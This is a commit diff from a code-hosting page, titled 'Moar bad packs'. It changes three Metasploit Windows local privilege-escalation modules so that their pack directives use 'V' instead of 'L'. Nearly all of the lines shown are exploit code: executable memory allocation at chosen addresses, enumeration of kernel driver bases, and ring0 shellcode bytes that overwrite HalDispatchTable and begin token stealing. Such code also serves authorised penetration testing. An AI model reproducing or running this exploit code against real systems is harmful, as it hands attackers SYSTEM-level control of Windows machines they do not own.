Moar bad packs
parent
4cfd2abd8d
commit
0cc3bdfb35
|
@ -123,8 +123,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
this_proc = session.sys.process.open
|
this_proc = session.sys.process.open
|
||||||
unless this_proc.memory.writable?(base_addr)
|
unless this_proc.memory.writable?(base_addr)
|
||||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil,
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
|
||||||
[0xffff].pack('L'),
|
[0xffff].pack('V'),
|
||||||
'MEM_COMMIT|MEM_RESERVE',
|
'MEM_COMMIT|MEM_RESERVE',
|
||||||
'PAGE_EXECUTE_READWRITE')
|
'PAGE_EXECUTE_READWRITE')
|
||||||
end
|
end
|
||||||
|
|
|
@ -90,15 +90,15 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def ring0_shellcode(t)
|
def ring0_shellcode(t)
|
||||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||||
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
|
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
||||||
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||||
|
|
||||||
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
||||||
ring0_shellcode
|
ring0_shellcode
|
||||||
end
|
end
|
||||||
|
|
||||||
def fill_memory(proc, address, length, content)
|
def fill_memory(proc, address, length, content)
|
||||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||||
unless proc.memory.writable?(address)
|
unless proc.memory.writable?(address)
|
||||||
vprint_error('Failed to allocate memory')
|
vprint_error('Failed to allocate memory')
|
||||||
return nil
|
return nil
|
||||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def find_sys_base(drvname)
|
def find_sys_base(drvname)
|
||||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
|
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')
|
||||||
|
|
||||||
addresses.each do |address|
|
addresses.each do |address|
|
||||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||||
|
@ -98,8 +98,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def ring0_shellcode(t)
|
def ring0_shellcode(t)
|
||||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||||
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
|
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
||||||
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||||
|
|
||||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||||
|
@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def fill_memory(proc, address, length, content)
|
def fill_memory(proc, address, length, content)
|
||||||
|
|
||||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||||
|
|
||||||
if not proc.memory.writable?(address)
|
if not proc.memory.writable?(address)
|
||||||
vprint_error("Failed to allocate memory")
|
vprint_error("Failed to allocate memory")
|
||||||
|
|
Loading…
Reference in New Issue